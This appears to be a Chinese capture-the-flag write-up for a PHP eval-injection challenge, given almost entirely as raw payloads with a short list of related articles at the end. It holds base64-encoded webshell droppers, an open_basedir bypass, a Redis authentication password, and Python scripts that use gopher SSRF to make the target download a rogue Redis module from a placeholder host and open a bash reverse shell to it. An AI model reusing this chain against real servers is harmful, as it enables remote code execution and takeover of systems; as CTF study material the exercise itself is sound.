/?exp=var_dump(ini_get_all());

/?exp=var_dump(scandir('/var/www/html'));

ye_w4nt_a_gir1fri3nd

//此处我用的官方wp的exp脚本/?exp=eval(file_put_contents("1.php",base64_decode($_POST['a'])));POST:a=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaSsrKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaWYoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==

?exp=eval(file_put_contents("shell.php",base64_decode($_POST['a']))); POST：a=PD9waHAKZXZhbCgkX1BPU1RbMV0pOw==

@ini_set("display_errors", "0");@set_time_limit(0);[email protected]_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split("/;|:/",$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if([email protected]_writable($item)){continue;};$tmdir=$item."/.2877aca83bea";@mkdir($tmdir);if([email protected]_exists($tmdir)){continue;}@chdir($tmdir);@ini_set("open_basedir", "..");[email protected]_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "3606"."f25bf";echo @asenc($output);echo "a5"."256";}ob_start();try{$cmd=base64_decode("KjINCiQ0DQpBVVRIDQokMjANCnllX3c0bnRfYV9naXIxZnJpM25kDQoqMg0KJDQNCklORk8NCiQ4DQpLZXlzcGFjZQ0K");[email protected]_socket_client("tcp://127.0.0.1:8888", $errno, $errstr, $timeout=30);if(!$conn){echo "LUVSUiBDb25uZWN0aW9uIFJlZnVzZWQ=";}else{@fwrite($conn,$cmd,strlen($cmd));[email protected]($conn, 8196);@stream_set_blocking($conn,0);while([email protected]($conn,8196)){$resp.=$buf;}stream_set_blocking($conn, 1);echo base64_encode($resp);@stream_socket_shutdown($conn,STREAM_SHUT_RDWR);@fclose($conn);};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

import requests url = "http://7efa8377-35ae-4f24-93f4-161a74c64b77.node4.buuoj.cn:81/?exp=eval($_POST[0]);"headers = {"content-type": "application/x-www-form-urlencoded"}pay = "http://ip/exp.so"payload = '''      function Curl($url) {            $ch = curl_init();            curl_setopt($ch, CURLOPT_URL, $url);            curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );            $result = curl_exec($ch);             curl_close($ch);            file_put_contents("exp.so",$result);      }       Curl("''' + pay + '''");'''.strip() data = {    0: payload}r = requests.post(url, data, headers=headers).textprint(r)

import requestsfrom urllib import parse  url = "http://7efa8377-35ae-4f24-93f4-161a74c64b77.node4.buuoj.cn:81/?exp=eval($_POST[0]);"headers = {"content-type":"application/x-www-form-urlencoded"} pay="""auth ye_w4nt_a_gir1fri3ndmodule load ./exp.sosystem.exec 'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'quit""".replace('\n','\r\n') payload = '''      function Curl($url) {            $ch = curl_init();            curl_setopt($ch, CURLOPT_URL, $url);            curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );            $result = curl_exec($ch);            curl_close($ch);            if($result!=''){            echo $result;            }         }        Curl("gopher://127.0.0.1:8888/_'''+parse.quote(pay)+'''");        ''' data = {    0:payload} r = requests.post(url,data=data,headers=headers).textprint(r)

# 往期推荐

1.分析一道简单安卓中级题

2.由浅入深理解Kerberos协议

3.虎符网络安全赛道 2022-pwn-vdq-WP解题分析

4.为IDA架设私人lumen服务器

5.分析一个安卓简单CrackMe

6.由浅入深理解Kerberos协议